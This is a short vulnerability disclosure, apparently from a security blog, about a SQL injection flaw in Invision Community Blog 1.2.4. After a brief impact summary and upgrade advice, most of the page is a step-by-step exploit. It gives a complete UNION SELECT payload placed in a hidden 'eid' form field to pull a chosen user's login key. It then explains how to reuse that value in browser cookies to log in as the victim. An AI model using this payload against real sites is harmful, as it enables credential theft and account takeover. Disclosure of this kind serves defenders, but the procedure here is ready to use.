Invision Community Blog version 1.2.4 contained a critical SQL Injection Invision Community Blog version 1.2.4 contained a critical SQL Injection vulnerability. This flaw allowed unauthenticated attackers to manipulate database queries.
By injecting malicious SQL code into specific input fields, attackers could bypass security controls. The primary impact included unauthorized access to sensitive information, such as user data, private posts, and potentially administrative credentials. Attackers could also modify or delete data within the forum's database. In severe cases, this could lead to full database compromise or even remote code execution.
The vulnerability stemmed from insufficient input sanitization and validation. Users of Invision Community Blog 1.2.4 were strongly advised to upgrade immediately to a patched version (e.g., 1.2.5 or later) to mitigate the risk.
1. Open any blog entry
2. Try to reply to any message
3. Push "Preview message" button (Do not post your reply)
4. Save source code of opened page to your PC
5. Find this string
<input type='hidden' name='eid' value='<BLOG_ENTRY_ID>' />
6. Change <BLOG_ENTRY_ID> with this SQL Injection:
<BLOG_ENTRY_ID> UNION SELECT b.entry_id, b.blog_id, b.category_id, b.entry_author_id, b.entry_author_name, b.entry_date, member_login_key, b.entry_category, b.entry, b.entry_status, b.entry_locked, b.entry_num_comments, b.entry_last_comment, b.entry_last_comment_date, b.entry_last_comment_name, b.entry_last_comment_mid, b.entry_queued_comments, b.entry_has_attach, b.entry_post_key, b.entry_edit_time, b.entry_edit_name, b.entry_html_state, b.entry_use_emo, b.entry_trackbacks, b.entry_sent_trackbacks, b.entry_last_update, b.entry_gallery_album, b.entry_poll_state, b.entry_last_vote FROM ibf_members, ipb_blog_entries b WHERE id=<USER_ID> and b.entry_id=<BLOG_ENTRY_ID> LIMIT 1,1
<USER_ID> - ID of the user whom password you want to get.
7. Push "Preview Button" again.
8. After refresh instead of blog entry name you will get users's HASH password.
9. Change your cookies in your favorite browser and open board. You will be automaticaly logged in as the user whom password you just got.
Invision Community Blog 1.2.4 SQL Injection
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 6